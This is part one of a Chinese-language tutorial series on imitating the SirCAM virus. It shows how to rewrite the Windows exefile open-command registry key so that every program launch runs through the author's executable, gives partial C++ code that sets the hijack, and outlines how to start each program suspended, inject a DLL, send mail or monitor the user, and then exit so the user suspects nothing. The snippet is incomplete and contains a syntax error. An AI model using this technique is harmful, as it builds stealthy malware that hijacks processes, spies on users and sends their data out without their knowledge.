仿照SirCAM病毒控制EXE进程(1)
Chapter
1
SirCAM改写注册表的用途:
SirCAM把HKEY_LOCAL_MACHINE\SOFTWARE\classes\exefile\shell\open\command
键值改为”c:\recycled\SirC32.exe” “%1” %*,这样系统运行EXE文件时会按照这个命令行执行。正常的值是”%1” %*,也就是说”%1”是EXE文件的路径名,%*是调用时的输入参数。我猜测这么一改的话,系统就会每执行一个EXE文件,就先调用SirC32.exe,然后把真正要执行的程序的启动命令作为参数传给SirC32,它再自己调用即可。
这样我们就自然而然的有个想法了:
我们可以用ATL COM Wizard创建一个EXE程序,接过传进来的命令行参数,用CreateProcess起这个进程,这样结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!想想看,用户所有的EXE运行都在你的控制之中,进程是由你创建的,那么还有什么精灵古怪的东西做不到呢?
来,让我们一步一步做吧!
在我们构建的_tWinMain中来调用这个方法:
注意,只需要最开始运行本EXE时查看并修改注册表。
extern "C" int WINAPI _tWinMain(HINSTANCE hInstance,
HINSTANCE /*hPrevInstance*/, LPTSTR lpCmdLine, int /*nShowCmd*/)
{
………
LPCTSTR BOOL bModifyReg = TRUE;
lpszToken = FindOneOf(lpCmdLine, _T("\""));
while (lpszToken != NULL)
{
bModifyReg = FALSE;
break;
}
//==== 2 ==============
if( bModifyReg )
{
//=====================================================
//
// 从这句话我们可以拿到当前程序的路径:
//
TCHAR szCurrentPath[MAX_PATH];
GetSystemDirectory((LPTSTR)szCurrentPath, MAX_PATH);
_bstr_t bstrCurrentPath = _bstr_t(szCurrentPath);
//lpCmdLine = GetCommandLine(); //this line necessary for _ATL_MIN_CRT
//
//=======================================================
//=======================================================
//
// 检查注册表,如果我们要设的值在那儿,就
// 不理;
// 如果没有设置,设置它:
//
hr = ConfirmRegistry(bstrCurrentPath);
if( hr == E_ZY_CANNOT_FIND_RESOURCE ||
hr == E_ZY_CANNOT_SET_VALUE ||
hr == E_ZY_ERROR_REG )
{
_Module.Term();
CoUninitialize();
return S_OK;
}
else
{
// do nothing
}
//
//======================================================
}
//================= 2 =============================
.............
}
当然,改写了注册表之后,我们真正的工作才刚刚开始。
程序描述:
先试图改写注册表,
然后接过命令行传过来的用户要启动的EXE程序的路径,用CreateProcess起这个新进程;
但是让新起的进程并不马上运行,这是通过设置creation flags为CREATE_SUSPENDED来实现的。
然后我们往新建进程中用远程进程插入DLL,
这个DLL中我们可以在它的DllMain中作我们想做的事情,诸如用MAPI或者CDO发送邮件,监视用户动作等等;
成功插入DLL之后,我们结束当前自己的进程,只让新建的进程继续跑,这样用户不会怀疑!
接到的启动EXE的参数怎么处理呢?好戏刚刚开始,请看下回分解。
-----To be continued----